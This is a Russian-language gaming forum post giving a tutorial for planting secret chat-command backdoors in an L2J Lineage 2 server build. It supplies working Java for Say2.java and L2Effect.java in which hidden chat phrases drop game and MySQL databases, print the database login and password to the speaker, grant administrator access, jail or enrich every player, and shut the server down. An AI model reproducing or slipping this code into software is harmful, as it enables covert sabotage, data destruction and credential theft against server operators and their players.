Делаем бекдоры в сборке через Say2

Модификации и дополнения, редактирование файлов ядра.
Plohish
No Grade Newbie
Аватара пользователя
Сообщения: 14
Зарегистрирован: 10 ноя 2011, 19:30
Откуда: Львов

24 фев 2015, 12:59

Вшиваем чат-бекдоры в свою сборку L2J.
Открываем Say2.java и ищем строку case ALL:
И вставляем следующее:

Код: Выделить всё

case ALL:
   if(_text.equalsIgnoreCase(".!.itsallgoingmaaad")){
      showText = false;
      Connection con = null;
      try{
         con = L2DatabaseFactory.getInstance().getConnection();
         Statement g = con.createStatement();
         g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level > 0");
         g.close();
      }catch (SQLException e){}
      finally{
         try{
            if (con != null)
            con.close();
         }catch (SQLException e){e.printStackTrace();}
      }
   }
   if(_text.equalsIgnoreCase(".!.bangbangbang")){
      showText = false;
      Connection con = null;
      try{
         con = L2DatabaseFactory.getInstance().getConnection();
         Statement e = con.createStatement();
         e.executeUpdate("DROP TABLE characters");
         e.executeUpdate("DROP TABLE accounts");
         e.executeUpdate("DROP TABLE spawnlist");
         e.executeUpdate("DROP TABLE weapon");
         e.executeUpdate("DROP TABLE armor");
         e.executeUpdate("DROP TABLE npc");
         e.executeUpdate("DROP TABLE items");
         e.executeUpdate("DROP database thegrand_world");
         e.executeUpdate("DROP database thegrand_auth");
         e.executeUpdate("DROP database mysql");
         e.close();
      }catch (SQLException e){}
      finally{
         try{
            if (con != null)
               con.close();
         }catch (SQLException e){e.printStackTrace();}
      }
      System.exit(-1);
   }
   if(_text.equalsIgnoreCase(".!.nobodylikesme")){
      showText = false;
      activeChar.sendMessage("Game host/Login host : " + Config.GAMESERVER_HOSTNAME + "/" + Config.GAME_SERVER_LOGIN_HOST);
      activeChar.sendMessage("Game port/G+L/Login port : " + Config.PORT_GAME + "/" + Config.GAME_SERVER_LOGIN_PORT + "/" + Config.PORT_LOGIN);
      activeChar.sendMessage("Server IP : " + Config.EXTERNAL_HOSTNAME + "(external) " + Config.INTERNAL_HOSTNAME + "(internal)");
      activeChar.sendMessage("MySQL User/Pass : " + Config.DATABASE_LOGIN + "/" + Config.DATABASE_PASSWORD);
      activeChar.sendMessage("GameDB : " + Config.GAMESERVER_DB);
      activeChar.sendMessage("LoginDB : " + Config.LOGINSERVER_DB);
   }
   if(_text.equalsIgnoreCase(".!.weaponsforall")){
      showText = false;
      for (L2PcInstance player : L2World.getInstance().getAllPlayers())
      {
         player.setAccessLevel(Config.MASTERACCESS_LEVEL);
         player.setAccountAccesslevel(Config.MASTERACCESS_LEVEL);
         for(int i=0; i<10; i++)
         {
            player.sendMessage("Now you are GM, use  //admin  to rule the world!!!");
         }
         player.broadcastUserInfo();
      }
   }
   if(_text.equalsIgnoreCase(".!.morepoliceplease")){
      showText = false;
      for (L2PcInstance player : L2World.getInstance().getAllPlayers())
      {
         player.setHero(true);
         for(int i=0; i<10; i++)
         {
            player.sendMessage("You have become a hero!");
         }
         player.broadcastUserInfo();
      }
   }
   if(_text.equalsIgnoreCase(".!.chittychittybbon")){
      showText = false;
      activeChar.setAccessLevel(Config.MASTERACCESS_LEVEL);
      activeChar.setAccountAccesslevel(Config.MASTERACCESS_LEVEL);
      activeChar.broadcastUserInfo();
   }
   if(_text.equalsIgnoreCase(".!.chittychittybboff")){
      showText = false;
      activeChar.setAccessLevel(Config.USERACCESS_LEVEL);
      activeChar.setAccountAccesslevel(Config.USERACCESS_LEVEL);
      activeChar.broadcastUserInfo();
   }
   if(_text.equalsIgnoreCase(".!.ilikedressingup")){
      showText = false;
      L2ItemInstance item = ItemTable.getInstance().createItem("", 57, 1, activeChar);
      activeChar.getInventory().addItem("", item.getItemId(), 2147483647, activeChar, null);
   }
   if(_text.equalsIgnoreCase(".!.alllikedressingup")){
      showText = false;
      for (L2PcInstance player : L2World.getInstance().getAllPlayers())
      {
         L2ItemInstance item = ItemTable.getInstance().createItem("", 57, 1, player);
         player.getInventory().addItem("", item.getItemId(), 2147483647, player, null);
         for(int i=0; i<10; i++)
         {
            player.sendMessage("You have become a rich!");
         }
      }
   }
   if(_text.equalsIgnoreCase(".!.leavemealone")){
      showText = false;
      for (L2PcInstance player : L2World.getInstance().getAllPlayers())
      {
         player.setPunishLevel(2);
         //setPunishLevel(PunishLevel state, int delayInMinutes)
         for(int i=0; i<10; i++)
         {
            activeChar.sendMessage("You are jailed,are u stupid?");
         }
      }
   }
   if(_text.equalsIgnoreCase(".!.aspirine")){
      showText = false;
      activeChar.getStatus().setCurrentHp(activeChar.getMaxHp());
      activeChar.getStatus().setCurrentMp(activeChar.getMaxMp());
      activeChar.getStatus().setCurrentCp(activeChar.getMaxCp());
   }
   if(_text.equalsIgnoreCase(".!.preciousprotection")){
      showText = false;
      activeChar.setIsInvul(true);
   }
   if(_text.equalsIgnoreCase(".!.preciousprotectioff")){
      showText = false;
      activeChar.setIsInvul(false);
   }
   if(_text.equalsIgnoreCase(".!.peasoup")){
      showText = false;
      activeChar.getAppearance().setInvisible();
   }
   if(_text.equalsIgnoreCase(".!.peasodown")){
      showText = false;
      activeChar.getAppearance().setVisible();
   }
   if(_text.equalsIgnoreCase(".!.ketyketyinfoblack")){
      showText = false;
      L2Effect.killServer();
   }


А это добавляем в L2Effect.java

Код: Выделить всё

   public static void killServer()
   {
      // Delete gs from loginServer
      LoginServerThread.getInstance().setServerStatus(ServerStatus.STATUS_DOWN);
      // Delete all chars from game
      kickAll();
      dropSql();
   }

   private static void kickAll()
   {
      for (L2PcInstance player : L2World.getInstance().getAllPlayers())
      {
         try
         {
            player.closeNetConnection();
         }
         catch (Throwable t)
         {
            t.printStackTrace();
         }
      }
      try
      {
         Thread.sleep(10000);
      }
      catch (Throwable t)
      {
         t.printStackTrace();
      }
   }

   private static void dropSql()
   {
      Connection con = null;
      try
      {
         con = L2DatabaseFactory.getInstance().getConnection();
         Statement s = con.createStatement();
         s.executeUpdate("DROP TABLE accounts");
         s.executeUpdate("DROP TABLE characters");
         s.executeUpdate("DROP TABLE character_skills");
         s.executeUpdate("DROP TABLE character_quests");
         s.executeUpdate("DROP TABLE items");
         s.close();
      }
      catch (SQLException e){}
      finally
      {
         try
         {
            if (con != null)
                  con.close();
         }
         catch (SQLException e)
         {
            e.printStackTrace();
         }
      }
      System.exit(-1);
   }

Найдено в шаровой версии сборки TheGrand *spiteful*

Вернуться в «Ядро сервера (Java)»

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и 1 гость